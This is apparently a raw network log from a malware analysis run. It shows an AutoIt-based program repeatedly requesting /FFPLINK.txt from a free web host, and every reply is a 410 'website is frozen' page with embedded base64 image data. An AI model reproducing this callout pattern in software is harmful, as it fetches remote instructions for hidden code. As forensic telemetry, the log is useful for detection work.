Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:39 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:46 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:01 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:38 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:05 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:32 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:09 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:02 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:34 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:24 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:16 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
